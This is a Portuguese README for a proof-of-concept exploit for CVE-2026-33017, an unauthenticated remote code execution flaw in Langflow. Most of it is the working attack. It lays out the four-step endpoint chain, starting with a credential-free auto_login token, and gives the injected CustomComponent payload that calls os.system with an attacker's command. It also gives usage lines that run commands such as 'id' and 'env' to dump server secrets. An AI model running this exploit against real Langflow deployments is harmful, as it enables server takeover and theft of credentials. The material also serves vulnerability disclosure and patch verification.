Prova de conceito de exploit para CVE-2026-33017 demonstrando execução remota de código não autenticada no Langflow por meio de injeção maliciosa de CustomComponent através de endpoints públicos de build.
ID do CVE: CVE-2026-33017
Software Afetado: Langflow
Versões Vulneráveis: <= 1.8.2
Versão Corrigida: >= 1.9.0
Severidade: Crítica
Autor: r3nsi15
Data: 2026
O Langflow expõe um endpoint público de build de fluxos (/api/v1/build_public_tmp/{flowID}/flow) que aceita
blocos de código CustomComponent arbitrários e os executa no lado do servidor sem autenticação. Ao
injetar um payload Python malicioso no campo code de um nó CustomComponent, um atacante não autenticado
pode executar comandos arbitrários do sistema operacional com os privilégios do processo do servidor Langflow.
A cadeia de ataque primeiro abusa do endpoint /api/v1/auto_login, que emite um token Bearer sem
exigir credenciais quando o Langflow está executando em sua configuração padrão de auto-login. Em seguida, usa
esse token para criar um fluxo público temporário e acionar a execução de código no servidor por meio do
endpoint de build.
| Endpoint | Método | Autenticação Necessária | Finalidade |
|---|---|---|---|
/api/v1/auto_login | GET | Não | Obter token Bearer (o auto-login deve estar habilitado) |
/api/v1/flows/ | POST | Sim (Bearer) | Criar um novo fluxo |
/api/v1/build_public_tmp/{flowID}/flow | POST | Não (público) | Acionar o build — ponto de execução vulnerável |
/api/v1/flows/{flowID} | DELETE | Sim (Bearer) | Limpar o fluxo criado |
Arquivo: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Flag | Forma Longa | Obrigatório | Descrição |
|---|---|---|---|
-u | --url | Sim | URL base da instância do Langflow |
-c | --command | Sim | Comando do sistema operacional a ser executado no servidor |
-d | --delete | Não | Excluir o fluxo criado após a exploração |
Verificar a execução de código:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Recuperar variáveis de ambiente do servidor:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Manter o fluxo ativo após a exploração (ignorar a limpeza):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
O exploit injeta o seguinte trecho Python no campo code de um nó CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) — importa dinamicamente o módulo os e executa o comando shell fornecido pelo atacante no servidor.CustomComponent válido, necessário para satisfazer o carregador de componentes do Langflow sem gerar erro de análise.PUBLIC e o endpoint de build é invocado em seu endpoint público, o que significa que nenhum cookie de sessão ou token de autenticação é necessário para acionar a execução.O sistema de CustomComponent do Langflow permite que código Python arbitrário seja enviado como parte da definição
de um fluxo. O endpoint /api/v1/build_public_tmp/{flowID}/flow compila e avalia parcialmente esse
código no lado do servidor, incluindo declarações de nível de módulo, sem sandboxing ou restrição de acesso a
built-ins do Python, como __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
Todas as quatro etapas podem ser realizadas por um atacante anônimo contra uma implantação padrão do Langflow.
LANGFLOW_AUTO_LOGIN=false) em qualquer implantação exposta à internet.Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso deste script contra sistemas sem permissão explícita por escrito é ilegal e antiético. O autor e os colaboradores não assumem nenhuma responsabilidade pelo uso indevido.